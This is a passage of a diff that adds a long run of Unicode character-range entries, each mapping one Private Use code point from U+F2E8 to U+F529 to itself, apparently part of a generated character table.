+ ["\uF2E8", "\uF2E8"], /* Private Use */
+ ["\uF2E9", "\uF2E9"], /* Private Use */
+ ["\uF2EA", "\uF2EA"], /* Private Use */
+ ["\uF2EB", "\uF2EB"], /* Private Use */
+ ["\uF2EC", "\uF2EC"], /* Private Use */
+ ["\uF2ED", "\uF2ED"], /* Private Use */
+ ["\uF2EE", "\uF2EE"], /* Private Use */
+ ["\uF2EF", "\uF2EF"], /* Private Use */
+ ["\uF2F0", "\uF2F0"], /* Private Use */
+ ["\uF2F1", "\uF2F1"], /* Private Use */
+ ["\uF2F2", "\uF2F2"], /* Private Use */
+ ["\uF2F3", "\uF2F3"], /* Private Use */
+ ["\uF2F4", "\uF2F4"], /* Private Use */
+ ["\uF2F5", "\uF2F5"], /* Private Use */
+ ["\uF2F6", "\uF2F6"], /* Private Use */
+ ["\uF2F7", "\uF2F7"], /* Private Use */
+ ["\uF2F8", "\uF2F8"], /* Private Use */
+ ["\uF2F9", "\uF2F9"], /* Private Use */
+ ["\uF2FA", "\uF2FA"], /* Private Use */
+ ["\uF2FB", "\uF2FB"], /* Private Use */
+ ["\uF2FC", "\uF2FC"], /* Private Use */
+ ["\uF2FD", "\uF2FD"], /* Private Use */
+ ["\uF2FE", "\uF2FE"], /* Private Use */
+ ["\uF2FF", "\uF2FF"], /* Private Use */
+ ["\uF300", "\uF300"], /* Private Use */
+ ["\uF301", "\uF301"], /* Private Use */
+ ["\uF302", "\uF302"], /* Private Use */
+ ["\uF303", "\uF303"], /* Private Use */
+ ["\uF304", "\uF304"], /* Private Use */
+ ["\uF305", "\uF305"], /* Private Use */
+ ["\uF306", "\uF306"], /* Private Use */
+ ["\uF307", "\uF307"], /* Private Use */
+ ["\uF308", "\uF308"], /* Private Use */
+ ["\uF309", "\uF309"], /* Private Use */
+ ["\uF30A", "\uF30A"], /* Private Use */
+ ["\uF30B", "\uF30B"], /* Private Use */
+ ["\uF30C", "\uF30C"], /* Private Use */
+ ["\uF30D", "\uF30D"], /* Private Use */
+ ["\uF30E", "\uF30E"], /* Private Use */
+ ["\uF30F", "\uF30F"], /* Private Use */
+ ["\uF310", "\uF310"], /* Private Use */
+ ["\uF311", "\uF311"], /* Private Use */
+ ["\uF312", "\uF312"], /* Private Use */
+ ["\uF313", "\uF313"], /* Private Use */
+ ["\uF314", "\uF314"], /* Private Use */
+ ["\uF315", "\uF315"], /* Private Use */
+ ["\uF316", "\uF316"], /* Private Use */
+ ["\uF317", "\uF317"], /* Private Use */
+ ["\uF318", "\uF318"], /* Private Use */
+ ["\uF319", "\uF319"], /* Private Use */
+ ["\uF31A", "\uF31A"], /* Private Use */
+ ["\uF31B", "\uF31B"], /* Private Use */
+ ["\uF31C", "\uF31C"], /* Private Use */
+ ["\uF31D", "\uF31D"], /* Private Use */
+ ["\uF31E", "\uF31E"], /* Private Use */
+ ["\uF31F", "\uF31F"], /* Private Use */
+ ["\uF320", "\uF320"], /* Private Use */
+ ["\uF321", "\uF321"], /* Private Use */
+ ["\uF322", "\uF322"], /* Private Use */
+ ["\uF323", "\uF323"], /* Private Use */
+ ["\uF324", "\uF324"], /* Private Use */
+ ["\uF325", "\uF325"], /* Private Use */
+ ["\uF326", "\uF326"], /* Private Use */
+ ["\uF327", "\uF327"], /* Private Use */
+ ["\uF328", "\uF328"], /* Private Use */
+ ["\uF329", "\uF329"], /* Private Use */
+ ["\uF32A", "\uF32A"], /* Private Use */
+ ["\uF32B", "\uF32B"], /* Private Use */
+ ["\uF32C", "\uF32C"], /* Private Use */
+ ["\uF32D", "\uF32D"], /* Private Use */
+ ["\uF32E", "\uF32E"], /* Private Use */
+ ["\uF32F", "\uF32F"], /* Private Use */
+ ["\uF330", "\uF330"], /* Private Use */
+ ["\uF331", "\uF331"], /* Private Use */
+ ["\uF332", "\uF332"], /* Private Use */
+ ["\uF333", "\uF333"], /* Private Use */
+ ["\uF334", "\uF334"], /* Private Use */
+ ["\uF335", "\uF335"], /* Private Use */
+ ["\uF336", "\uF336"], /* Private Use */
+ ["\uF337", "\uF337"], /* Private Use */
+ ["\uF338", "\uF338"], /* Private Use */
+ ["\uF339", "\uF339"], /* Private Use */
+ ["\uF33A", "\uF33A"], /* Private Use */
+ ["\uF33B", "\uF33B"], /* Private Use */
+ ["\uF33C", "\uF33C"], /* Private Use */
+ ["\uF33D", "\uF33D"], /* Private Use */
+ ["\uF33E", "\uF33E"], /* Private Use */
+ ["\uF33F", "\uF33F"], /* Private Use */
+ ["\uF340", "\uF340"], /* Private Use */
+ ["\uF341", "\uF341"], /* Private Use */
+ ["\uF342", "\uF342"], /* Private Use */
+ ["\uF343", "\uF343"], /* Private Use */
+ ["\uF344", "\uF344"], /* Private Use */
+ ["\uF345", "\uF345"], /* Private Use */
+ ["\uF346", "\uF346"], /* Private Use */
+ ["\uF347", "\uF347"], /* Private Use */
+ ["\uF348", "\uF348"], /* Private Use */
+ ["\uF349", "\uF349"], /* Private Use */
+ ["\uF34A", "\uF34A"], /* Private Use */
+ ["\uF34B", "\uF34B"], /* Private Use */
+ ["\uF34C", "\uF34C"], /* Private Use */
+ ["\uF34D", "\uF34D"], /* Private Use */
+ ["\uF34E", "\uF34E"], /* Private Use */
+ ["\uF34F", "\uF34F"], /* Private Use */
+ ["\uF350", "\uF350"], /* Private Use */
+ ["\uF351", "\uF351"], /* Private Use */
+ ["\uF352", "\uF352"], /* Private Use */
+ ["\uF353", "\uF353"], /* Private Use */
+ ["\uF354", "\uF354"], /* Private Use */
+ ["\uF355", "\uF355"], /* Private Use */
+ ["\uF356", "\uF356"], /* Private Use */
+ ["\uF357", "\uF357"], /* Private Use */
+ ["\uF358", "\uF358"], /* Private Use */
+ ["\uF359", "\uF359"], /* Private Use */
+ ["\uF35A", "\uF35A"], /* Private Use */
+ ["\uF35B", "\uF35B"], /* Private Use */
+ ["\uF35C", "\uF35C"], /* Private Use */
+ ["\uF35D", "\uF35D"], /* Private Use */
+ ["\uF35E", "\uF35E"], /* Private Use */
+ ["\uF35F", "\uF35F"], /* Private Use */
+ ["\uF360", "\uF360"], /* Private Use */
+ ["\uF361", "\uF361"], /* Private Use */
+ ["\uF362", "\uF362"], /* Private Use */
+ ["\uF363", "\uF363"], /* Private Use */
+ ["\uF364", "\uF364"], /* Private Use */
+ ["\uF365", "\uF365"], /* Private Use */
+ ["\uF366", "\uF366"], /* Private Use */
+ ["\uF367", "\uF367"], /* Private Use */
+ ["\uF368", "\uF368"], /* Private Use */
+ ["\uF369", "\uF369"], /* Private Use */
+ ["\uF36A", "\uF36A"], /* Private Use */
+ ["\uF36B", "\uF36B"], /* Private Use */
+ ["\uF36C", "\uF36C"], /* Private Use */
+ ["\uF36D", "\uF36D"], /* Private Use */
+ ["\uF36E", "\uF36E"], /* Private Use */
+ ["\uF36F", "\uF36F"], /* Private Use */
+ ["\uF370", "\uF370"], /* Private Use */
+ ["\uF371", "\uF371"], /* Private Use */
+ ["\uF372", "\uF372"], /* Private Use */
+ ["\uF373", "\uF373"], /* Private Use */
+ ["\uF374", "\uF374"], /* Private Use */
+ ["\uF375", "\uF375"], /* Private Use */
+ ["\uF376", "\uF376"], /* Private Use */
+ ["\uF377", "\uF377"], /* Private Use */
+ ["\uF378", "\uF378"], /* Private Use */
+ ["\uF379", "\uF379"], /* Private Use */
+ ["\uF37A", "\uF37A"], /* Private Use */
+ ["\uF37B", "\uF37B"], /* Private Use */
+ ["\uF37C", "\uF37C"], /* Private Use */
+ ["\uF37D", "\uF37D"], /* Private Use */
+ ["\uF37E", "\uF37E"], /* Private Use */
+ ["\uF37F", "\uF37F"], /* Private Use */
+ ["\uF380", "\uF380"], /* Private Use */
+ ["\uF381", "\uF381"], /* Private Use */
+ ["\uF382", "\uF382"], /* Private Use */
+ ["\uF383", "\uF383"], /* Private Use */
+ ["\uF384", "\uF384"], /* Private Use */
+ ["\uF385", "\uF385"], /* Private Use */
+ ["\uF386", "\uF386"], /* Private Use */
+ ["\uF387", "\uF387"], /* Private Use */
+ ["\uF388", "\uF388"], /* Private Use */
+ ["\uF389", "\uF389"], /* Private Use */
+ ["\uF38A", "\uF38A"], /* Private Use */
+ ["\uF38B", "\uF38B"], /* Private Use */
+ ["\uF38C", "\uF38C"], /* Private Use */
+ ["\uF38D", "\uF38D"], /* Private Use */
+ ["\uF38E", "\uF38E"], /* Private Use */
+ ["\uF38F", "\uF38F"], /* Private Use */
+ ["\uF390", "\uF390"], /* Private Use */
+ ["\uF391", "\uF391"], /* Private Use */
+ ["\uF392", "\uF392"], /* Private Use */
+ ["\uF393", "\uF393"], /* Private Use */
+ ["\uF394", "\uF394"], /* Private Use */
+ ["\uF395", "\uF395"], /* Private Use */
+ ["\uF396", "\uF396"], /* Private Use */
+ ["\uF397", "\uF397"], /* Private Use */
+ ["\uF398", "\uF398"], /* Private Use */
+ ["\uF399", "\uF399"], /* Private Use */
+ ["\uF39A", "\uF39A"], /* Private Use */
+ ["\uF39B", "\uF39B"], /* Private Use */
+ ["\uF39C", "\uF39C"], /* Private Use */
+ ["\uF39D", "\uF39D"], /* Private Use */
+ ["\uF39E", "\uF39E"], /* Private Use */
+ ["\uF39F", "\uF39F"], /* Private Use */
+ ["\uF3A0", "\uF3A0"], /* Private Use */
+ ["\uF3A1", "\uF3A1"], /* Private Use */
+ ["\uF3A2", "\uF3A2"], /* Private Use */
+ ["\uF3A3", "\uF3A3"], /* Private Use */
+ ["\uF3A4", "\uF3A4"], /* Private Use */
+ ["\uF3A5", "\uF3A5"], /* Private Use */
+ ["\uF3A6", "\uF3A6"], /* Private Use */
+ ["\uF3A7", "\uF3A7"], /* Private Use */
+ ["\uF3A8", "\uF3A8"], /* Private Use */
+ ["\uF3A9", "\uF3A9"], /* Private Use */
+ ["\uF3AA", "\uF3AA"], /* Private Use */
+ ["\uF3AB", "\uF3AB"], /* Private Use */
+ ["\uF3AC", "\uF3AC"], /* Private Use */
+ ["\uF3AD", "\uF3AD"], /* Private Use */
+ ["\uF3AE", "\uF3AE"], /* Private Use */
+ ["\uF3AF", "\uF3AF"], /* Private Use */
+ ["\uF3B0", "\uF3B0"], /* Private Use */
+ ["\uF3B1", "\uF3B1"], /* Private Use */
+ ["\uF3B2", "\uF3B2"], /* Private Use */
+ ["\uF3B3", "\uF3B3"], /* Private Use */
+ ["\uF3B4", "\uF3B4"], /* Private Use */
+ ["\uF3B5", "\uF3B5"], /* Private Use */
+ ["\uF3B6", "\uF3B6"], /* Private Use */
+ ["\uF3B7", "\uF3B7"], /* Private Use */
+ ["\uF3B8", "\uF3B8"], /* Private Use */
+ ["\uF3B9", "\uF3B9"], /* Private Use */
+ ["\uF3BA", "\uF3BA"], /* Private Use */
+ ["\uF3BB", "\uF3BB"], /* Private Use */
+ ["\uF3BC", "\uF3BC"], /* Private Use */
+ ["\uF3BD", "\uF3BD"], /* Private Use */
+ ["\uF3BE", "\uF3BE"], /* Private Use */
+ ["\uF3BF", "\uF3BF"], /* Private Use */
+ ["\uF3C0", "\uF3C0"], /* Private Use */
+ ["\uF3C1", "\uF3C1"], /* Private Use */
+ ["\uF3C2", "\uF3C2"], /* Private Use */
+ ["\uF3C3", "\uF3C3"], /* Private Use */
+ ["\uF3C4", "\uF3C4"], /* Private Use */
+ ["\uF3C5", "\uF3C5"], /* Private Use */
+ ["\uF3C6", "\uF3C6"], /* Private Use */
+ ["\uF3C7", "\uF3C7"], /* Private Use */
+ ["\uF3C8", "\uF3C8"], /* Private Use */
+ ["\uF3C9", "\uF3C9"], /* Private Use */
+ ["\uF3CA", "\uF3CA"], /* Private Use */
+ ["\uF3CB", "\uF3CB"], /* Private Use */
+ ["\uF3CC", "\uF3CC"], /* Private Use */
+ ["\uF3CD", "\uF3CD"], /* Private Use */
+ ["\uF3CE", "\uF3CE"], /* Private Use */
+ ["\uF3CF", "\uF3CF"], /* Private Use */
+ ["\uF3D0", "\uF3D0"], /* Private Use */
+ ["\uF3D1", "\uF3D1"], /* Private Use */
+ ["\uF3D2", "\uF3D2"], /* Private Use */
+ ["\uF3D3", "\uF3D3"], /* Private Use */
+ ["\uF3D4", "\uF3D4"], /* Private Use */
+ ["\uF3D5", "\uF3D5"], /* Private Use */
+ ["\uF3D6", "\uF3D6"], /* Private Use */
+ ["\uF3D7", "\uF3D7"], /* Private Use */
+ ["\uF3D8", "\uF3D8"], /* Private Use */
+ ["\uF3D9", "\uF3D9"], /* Private Use */
+ ["\uF3DA", "\uF3DA"], /* Private Use */
+ ["\uF3DB", "\uF3DB"], /* Private Use */
+ ["\uF3DC", "\uF3DC"], /* Private Use */
+ ["\uF3DD", "\uF3DD"], /* Private Use */
+ ["\uF3DE", "\uF3DE"], /* Private Use */
+ ["\uF3DF", "\uF3DF"], /* Private Use */
+ ["\uF3E0", "\uF3E0"], /* Private Use */
+ ["\uF3E1", "\uF3E1"], /* Private Use */
+ ["\uF3E2", "\uF3E2"], /* Private Use */
+ ["\uF3E3", "\uF3E3"], /* Private Use */
+ ["\uF3E4", "\uF3E4"], /* Private Use */
+ ["\uF3E5", "\uF3E5"], /* Private Use */
+ ["\uF3E6", "\uF3E6"], /* Private Use */
+ ["\uF3E7", "\uF3E7"], /* Private Use */
+ ["\uF3E8", "\uF3E8"], /* Private Use */
+ ["\uF3E9", "\uF3E9"], /* Private Use */
+ ["\uF3EA", "\uF3EA"], /* Private Use */
+ ["\uF3EB", "\uF3EB"], /* Private Use */
+ ["\uF3EC", "\uF3EC"], /* Private Use */
+ ["\uF3ED", "\uF3ED"], /* Private Use */
+ ["\uF3EE", "\uF3EE"], /* Private Use */
+ ["\uF3EF", "\uF3EF"], /* Private Use */
+ ["\uF3F0", "\uF3F0"], /* Private Use */
+ ["\uF3F1", "\uF3F1"], /* Private Use */
+ ["\uF3F2", "\uF3F2"], /* Private Use */
+ ["\uF3F3", "\uF3F3"], /* Private Use */
+ ["\uF3F4", "\uF3F4"], /* Private Use */
+ ["\uF3F5", "\uF3F5"], /* Private Use */
+ ["\uF3F6", "\uF3F6"], /* Private Use */
+ ["\uF3F7", "\uF3F7"], /* Private Use */
+ ["\uF3F8", "\uF3F8"], /* Private Use */
+ ["\uF3F9", "\uF3F9"], /* Private Use */
+ ["\uF3FA", "\uF3FA"], /* Private Use */
+ ["\uF3FB", "\uF3FB"], /* Private Use */
+ ["\uF3FC", "\uF3FC"], /* Private Use */
+ ["\uF3FD", "\uF3FD"], /* Private Use */
+ ["\uF3FE", "\uF3FE"], /* Private Use */
+ ["\uF3FF", "\uF3FF"], /* Private Use */
+ ["\uF400", "\uF400"], /* Private Use */
+ ["\uF401", "\uF401"], /* Private Use */
+ ["\uF402", "\uF402"], /* Private Use */
+ ["\uF403", "\uF403"], /* Private Use */
+ ["\uF404", "\uF404"], /* Private Use */
+ ["\uF405", "\uF405"], /* Private Use */
+ ["\uF406", "\uF406"], /* Private Use */
+ ["\uF407", "\uF407"], /* Private Use */
+ ["\uF408", "\uF408"], /* Private Use */
+ ["\uF409", "\uF409"], /* Private Use */
+ ["\uF40A", "\uF40A"], /* Private Use */
+ ["\uF40B", "\uF40B"], /* Private Use */
+ ["\uF40C", "\uF40C"], /* Private Use */
+ ["\uF40D", "\uF40D"], /* Private Use */
+ ["\uF40E", "\uF40E"], /* Private Use */
+ ["\uF40F", "\uF40F"], /* Private Use */
+ ["\uF410", "\uF410"], /* Private Use */
+ ["\uF411", "\uF411"], /* Private Use */
+ ["\uF412", "\uF412"], /* Private Use */
+ ["\uF413", "\uF413"], /* Private Use */
+ ["\uF414", "\uF414"], /* Private Use */
+ ["\uF415", "\uF415"], /* Private Use */
+ ["\uF416", "\uF416"], /* Private Use */
+ ["\uF417", "\uF417"], /* Private Use */
+ ["\uF418", "\uF418"], /* Private Use */
+ ["\uF419", "\uF419"], /* Private Use */
+ ["\uF41A", "\uF41A"], /* Private Use */
+ ["\uF41B", "\uF41B"], /* Private Use */
+ ["\uF41C", "\uF41C"], /* Private Use */
+ ["\uF41D", "\uF41D"], /* Private Use */
+ ["\uF41E", "\uF41E"], /* Private Use */
+ ["\uF41F", "\uF41F"], /* Private Use */
+ ["\uF420", "\uF420"], /* Private Use */
+ ["\uF421", "\uF421"], /* Private Use */
+ ["\uF422", "\uF422"], /* Private Use */
+ ["\uF423", "\uF423"], /* Private Use */
+ ["\uF424", "\uF424"], /* Private Use */
+ ["\uF425", "\uF425"], /* Private Use */
+ ["\uF426", "\uF426"], /* Private Use */
+ ["\uF427", "\uF427"], /* Private Use */
+ ["\uF428", "\uF428"], /* Private Use */
+ ["\uF429", "\uF429"], /* Private Use */
+ ["\uF42A", "\uF42A"], /* Private Use */
+ ["\uF42B", "\uF42B"], /* Private Use */
+ ["\uF42C", "\uF42C"], /* Private Use */
+ ["\uF42D", "\uF42D"], /* Private Use */
+ ["\uF42E", "\uF42E"], /* Private Use */
+ ["\uF42F", "\uF42F"], /* Private Use */
+ ["\uF430", "\uF430"], /* Private Use */
+ ["\uF431", "\uF431"], /* Private Use */
+ ["\uF432", "\uF432"], /* Private Use */
+ ["\uF433", "\uF433"], /* Private Use */
+ ["\uF434", "\uF434"], /* Private Use */
+ ["\uF435", "\uF435"], /* Private Use */
+ ["\uF436", "\uF436"], /* Private Use */
+ ["\uF437", "\uF437"], /* Private Use */
+ ["\uF438", "\uF438"], /* Private Use */
+ ["\uF439", "\uF439"], /* Private Use */
+ ["\uF43A", "\uF43A"], /* Private Use */
+ ["\uF43B", "\uF43B"], /* Private Use */
+ ["\uF43C", "\uF43C"], /* Private Use */
+ ["\uF43D", "\uF43D"], /* Private Use */
+ ["\uF43E", "\uF43E"], /* Private Use */
+ ["\uF43F", "\uF43F"], /* Private Use */
+ ["\uF440", "\uF440"], /* Private Use */
+ ["\uF441", "\uF441"], /* Private Use */
+ ["\uF442", "\uF442"], /* Private Use */
+ ["\uF443", "\uF443"], /* Private Use */
+ ["\uF444", "\uF444"], /* Private Use */
+ ["\uF445", "\uF445"], /* Private Use */
+ ["\uF446", "\uF446"], /* Private Use */
+ ["\uF447", "\uF447"], /* Private Use */
+ ["\uF448", "\uF448"], /* Private Use */
+ ["\uF449", "\uF449"], /* Private Use */
+ ["\uF44A", "\uF44A"], /* Private Use */
+ ["\uF44B", "\uF44B"], /* Private Use */
+ ["\uF44C", "\uF44C"], /* Private Use */
+ ["\uF44D", "\uF44D"], /* Private Use */
+ ["\uF44E", "\uF44E"], /* Private Use */
+ ["\uF44F", "\uF44F"], /* Private Use */
+ ["\uF450", "\uF450"], /* Private Use */
+ ["\uF451", "\uF451"], /* Private Use */
+ ["\uF452", "\uF452"], /* Private Use */
+ ["\uF453", "\uF453"], /* Private Use */
+ ["\uF454", "\uF454"], /* Private Use */
+ ["\uF455", "\uF455"], /* Private Use */
+ ["\uF456", "\uF456"], /* Private Use */
+ ["\uF457", "\uF457"], /* Private Use */
+ ["\uF458", "\uF458"], /* Private Use */
+ ["\uF459", "\uF459"], /* Private Use */
+ ["\uF45A", "\uF45A"], /* Private Use */
+ ["\uF45B", "\uF45B"], /* Private Use */
+ ["\uF45C", "\uF45C"], /* Private Use */
+ ["\uF45D", "\uF45D"], /* Private Use */
+ ["\uF45E", "\uF45E"], /* Private Use */
+ ["\uF45F", "\uF45F"], /* Private Use */
+ ["\uF460", "\uF460"], /* Private Use */
+ ["\uF461", "\uF461"], /* Private Use */
+ ["\uF462", "\uF462"], /* Private Use */
+ ["\uF463", "\uF463"], /* Private Use */
+ ["\uF464", "\uF464"], /* Private Use */
+ ["\uF465", "\uF465"], /* Private Use */
+ ["\uF466", "\uF466"], /* Private Use */
+ ["\uF467", "\uF467"], /* Private Use */
+ ["\uF468", "\uF468"], /* Private Use */
+ ["\uF469", "\uF469"], /* Private Use */
+ ["\uF46A", "\uF46A"], /* Private Use */
+ ["\uF46B", "\uF46B"], /* Private Use */
+ ["\uF46C", "\uF46C"], /* Private Use */
+ ["\uF46D", "\uF46D"], /* Private Use */
+ ["\uF46E", "\uF46E"], /* Private Use */
+ ["\uF46F", "\uF46F"], /* Private Use */
+ ["\uF470", "\uF470"], /* Private Use */
+ ["\uF471", "\uF471"], /* Private Use */
+ ["\uF472", "\uF472"], /* Private Use */
+ ["\uF473", "\uF473"], /* Private Use */
+ ["\uF474", "\uF474"], /* Private Use */
+ ["\uF475", "\uF475"], /* Private Use */
+ ["\uF476", "\uF476"], /* Private Use */
+ ["\uF477", "\uF477"], /* Private Use */
+ ["\uF478", "\uF478"], /* Private Use */
+ ["\uF479", "\uF479"], /* Private Use */
+ ["\uF47A", "\uF47A"], /* Private Use */
+ ["\uF47B", "\uF47B"], /* Private Use */
+ ["\uF47C", "\uF47C"], /* Private Use */
+ ["\uF47D", "\uF47D"], /* Private Use */
+ ["\uF47E", "\uF47E"], /* Private Use */
+ ["\uF47F", "\uF47F"], /* Private Use */
+ ["\uF480", "\uF480"], /* Private Use */
+ ["\uF481", "\uF481"], /* Private Use */
+ ["\uF482", "\uF482"], /* Private Use */
+ ["\uF483", "\uF483"], /* Private Use */
+ ["\uF484", "\uF484"], /* Private Use */
+ ["\uF485", "\uF485"], /* Private Use */
+ ["\uF486", "\uF486"], /* Private Use */
+ ["\uF487", "\uF487"], /* Private Use */
+ ["\uF488", "\uF488"], /* Private Use */
+ ["\uF489", "\uF489"], /* Private Use */
+ ["\uF48A", "\uF48A"], /* Private Use */
+ ["\uF48B", "\uF48B"], /* Private Use */
+ ["\uF48C", "\uF48C"], /* Private Use */
+ ["\uF48D", "\uF48D"], /* Private Use */
+ ["\uF48E", "\uF48E"], /* Private Use */
+ ["\uF48F", "\uF48F"], /* Private Use */
+ ["\uF490", "\uF490"], /* Private Use */
+ ["\uF491", "\uF491"], /* Private Use */
+ ["\uF492", "\uF492"], /* Private Use */
+ ["\uF493", "\uF493"], /* Private Use */
+ ["\uF494", "\uF494"], /* Private Use */
+ ["\uF495", "\uF495"], /* Private Use */
+ ["\uF496", "\uF496"], /* Private Use */
+ ["\uF497", "\uF497"], /* Private Use */
+ ["\uF498", "\uF498"], /* Private Use */
+ ["\uF499", "\uF499"], /* Private Use */
+ ["\uF49A", "\uF49A"], /* Private Use */
+ ["\uF49B", "\uF49B"], /* Private Use */
+ ["\uF49C", "\uF49C"], /* Private Use */
+ ["\uF49D", "\uF49D"], /* Private Use */
+ ["\uF49E", "\uF49E"], /* Private Use */
+ ["\uF49F", "\uF49F"], /* Private Use */
+ ["\uF4A0", "\uF4A0"], /* Private Use */
+ ["\uF4A1", "\uF4A1"], /* Private Use */
+ ["\uF4A2", "\uF4A2"], /* Private Use */
+ ["\uF4A3", "\uF4A3"], /* Private Use */
+ ["\uF4A4", "\uF4A4"], /* Private Use */
+ ["\uF4A5", "\uF4A5"], /* Private Use */
+ ["\uF4A6", "\uF4A6"], /* Private Use */
+ ["\uF4A7", "\uF4A7"], /* Private Use */
+ ["\uF4A8", "\uF4A8"], /* Private Use */
+ ["\uF4A9", "\uF4A9"], /* Private Use */
+ ["\uF4AA", "\uF4AA"], /* Private Use */
+ ["\uF4AB", "\uF4AB"], /* Private Use */
+ ["\uF4AC", "\uF4AC"], /* Private Use */
+ ["\uF4AD", "\uF4AD"], /* Private Use */
+ ["\uF4AE", "\uF4AE"], /* Private Use */
+ ["\uF4AF", "\uF4AF"], /* Private Use */
+ ["\uF4B0", "\uF4B0"], /* Private Use */
+ ["\uF4B1", "\uF4B1"], /* Private Use */
+ ["\uF4B2", "\uF4B2"], /* Private Use */
+ ["\uF4B3", "\uF4B3"], /* Private Use */
+ ["\uF4B4", "\uF4B4"], /* Private Use */
+ ["\uF4B5", "\uF4B5"], /* Private Use */
+ ["\uF4B6", "\uF4B6"], /* Private Use */
+ ["\uF4B7", "\uF4B7"], /* Private Use */
+ ["\uF4B8", "\uF4B8"], /* Private Use */
+ ["\uF4B9", "\uF4B9"], /* Private Use */
+ ["\uF4BA", "\uF4BA"], /* Private Use */
+ ["\uF4BB", "\uF4BB"], /* Private Use */
+ ["\uF4BC", "\uF4BC"], /* Private Use */
+ ["\uF4BD", "\uF4BD"], /* Private Use */
+ ["\uF4BE", "\uF4BE"], /* Private Use */
+ ["\uF4BF", "\uF4BF"], /* Private Use */
+ ["\uF4C0", "\uF4C0"], /* Private Use */
+ ["\uF4C1", "\uF4C1"], /* Private Use */
+ ["\uF4C2", "\uF4C2"], /* Private Use */
+ ["\uF4C3", "\uF4C3"], /* Private Use */
+ ["\uF4C4", "\uF4C4"], /* Private Use */
+ ["\uF4C5", "\uF4C5"], /* Private Use */
+ ["\uF4C6", "\uF4C6"], /* Private Use */
+ ["\uF4C7", "\uF4C7"], /* Private Use */
+ ["\uF4C8", "\uF4C8"], /* Private Use */
+ ["\uF4C9", "\uF4C9"], /* Private Use */
+ ["\uF4CA", "\uF4CA"], /* Private Use */
+ ["\uF4CB", "\uF4CB"], /* Private Use */
+ ["\uF4CC", "\uF4CC"], /* Private Use */
+ ["\uF4CD", "\uF4CD"], /* Private Use */
+ ["\uF4CE", "\uF4CE"], /* Private Use */
+ ["\uF4CF", "\uF4CF"], /* Private Use */
+ ["\uF4D0", "\uF4D0"], /* Private Use */
+ ["\uF4D1", "\uF4D1"], /* Private Use */
+ ["\uF4D2", "\uF4D2"], /* Private Use */
+ ["\uF4D3", "\uF4D3"], /* Private Use */
+ ["\uF4D4", "\uF4D4"], /* Private Use */
+ ["\uF4D5", "\uF4D5"], /* Private Use */
+ ["\uF4D6", "\uF4D6"], /* Private Use */
+ ["\uF4D7", "\uF4D7"], /* Private Use */
+ ["\uF4D8", "\uF4D8"], /* Private Use */
+ ["\uF4D9", "\uF4D9"], /* Private Use */
+ ["\uF4DA", "\uF4DA"], /* Private Use */
+ ["\uF4DB", "\uF4DB"], /* Private Use */
+ ["\uF4DC", "\uF4DC"], /* Private Use */
+ ["\uF4DD", "\uF4DD"], /* Private Use */
+ ["\uF4DE", "\uF4DE"], /* Private Use */
+ ["\uF4DF", "\uF4DF"], /* Private Use */
+ ["\uF4E0", "\uF4E0"], /* Private Use */
+ ["\uF4E1", "\uF4E1"], /* Private Use */
+ ["\uF4E2", "\uF4E2"], /* Private Use */
+ ["\uF4E3", "\uF4E3"], /* Private Use */
+ ["\uF4E4", "\uF4E4"], /* Private Use */
+ ["\uF4E5", "\uF4E5"], /* Private Use */
+ ["\uF4E6", "\uF4E6"], /* Private Use */
+ ["\uF4E7", "\uF4E7"], /* Private Use */
+ ["\uF4E8", "\uF4E8"], /* Private Use */
+ ["\uF4E9", "\uF4E9"], /* Private Use */
+ ["\uF4EA", "\uF4EA"], /* Private Use */
+ ["\uF4EB", "\uF4EB"], /* Private Use */
+ ["\uF4EC", "\uF4EC"], /* Private Use */
+ ["\uF4ED", "\uF4ED"], /* Private Use */
+ ["\uF4EE", "\uF4EE"], /* Private Use */
+ ["\uF4EF", "\uF4EF"], /* Private Use */
+ ["\uF4F0", "\uF4F0"], /* Private Use */
+ ["\uF4F1", "\uF4F1"], /* Private Use */
+ ["\uF4F2", "\uF4F2"], /* Private Use */
+ ["\uF4F3", "\uF4F3"], /* Private Use */
+ ["\uF4F4", "\uF4F4"], /* Private Use */
+ ["\uF4F5", "\uF4F5"], /* Private Use */
+ ["\uF4F6", "\uF4F6"], /* Private Use */
+ ["\uF4F7", "\uF4F7"], /* Private Use */
+ ["\uF4F8", "\uF4F8"], /* Private Use */
+ ["\uF4F9", "\uF4F9"], /* Private Use */
+ ["\uF4FA", "\uF4FA"], /* Private Use */
+ ["\uF4FB", "\uF4FB"], /* Private Use */
+ ["\uF4FC", "\uF4FC"], /* Private Use */
+ ["\uF4FD", "\uF4FD"], /* Private Use */
+ ["\uF4FE", "\uF4FE"], /* Private Use */
+ ["\uF4FF", "\uF4FF"], /* Private Use */
+ ["\uF500", "\uF500"], /* Private Use */
+ ["\uF501", "\uF501"], /* Private Use */
+ ["\uF502", "\uF502"], /* Private Use */
+ ["\uF503", "\uF503"], /* Private Use */
+ ["\uF504", "\uF504"], /* Private Use */
+ ["\uF505", "\uF505"], /* Private Use */
+ ["\uF506", "\uF506"], /* Private Use */
+ ["\uF507", "\uF507"], /* Private Use */
+ ["\uF508", "\uF508"], /* Private Use */
+ ["\uF509", "\uF509"], /* Private Use */
+ ["\uF50A", "\uF50A"], /* Private Use */
+ ["\uF50B", "\uF50B"], /* Private Use */
+ ["\uF50C", "\uF50C"], /* Private Use */
+ ["\uF50D", "\uF50D"], /* Private Use */
+ ["\uF50E", "\uF50E"], /* Private Use */
+ ["\uF50F", "\uF50F"], /* Private Use */
+ ["\uF510", "\uF510"], /* Private Use */
+ ["\uF511", "\uF511"], /* Private Use */
+ ["\uF512", "\uF512"], /* Private Use */
+ ["\uF513", "\uF513"], /* Private Use */
+ ["\uF514", "\uF514"], /* Private Use */
+ ["\uF515", "\uF515"], /* Private Use */
+ ["\uF516", "\uF516"], /* Private Use */
+ ["\uF517", "\uF517"], /* Private Use */
+ ["\uF518", "\uF518"], /* Private Use */
+ ["\uF519", "\uF519"], /* Private Use */
+ ["\uF51A", "\uF51A"], /* Private Use */
+ ["\uF51B", "\uF51B"], /* Private Use */
+ ["\uF51C", "\uF51C"], /* Private Use */
+ ["\uF51D", "\uF51D"], /* Private Use */
+ ["\uF51E", "\uF51E"], /* Private Use */
+ ["\uF51F", "\uF51F"], /* Private Use */
+ ["\uF520", "\uF520"], /* Private Use */
+ ["\uF521", "\uF521"], /* Private Use */
+ ["\uF522", "\uF522"], /* Private Use */
+ ["\uF523", "\uF523"], /* Private Use */
+ ["\uF524", "\uF524"], /* Private Use */
+ ["\uF525", "\uF525"], /* Private Use */
+ ["\uF526", "\uF526"], /* Private Use */
+ ["\uF527", "\uF527"], /* Private Use */
+ ["\uF528", "\uF528"], /* Private Use */
+ ["\uF529", "\uF529"], /* Private Use */
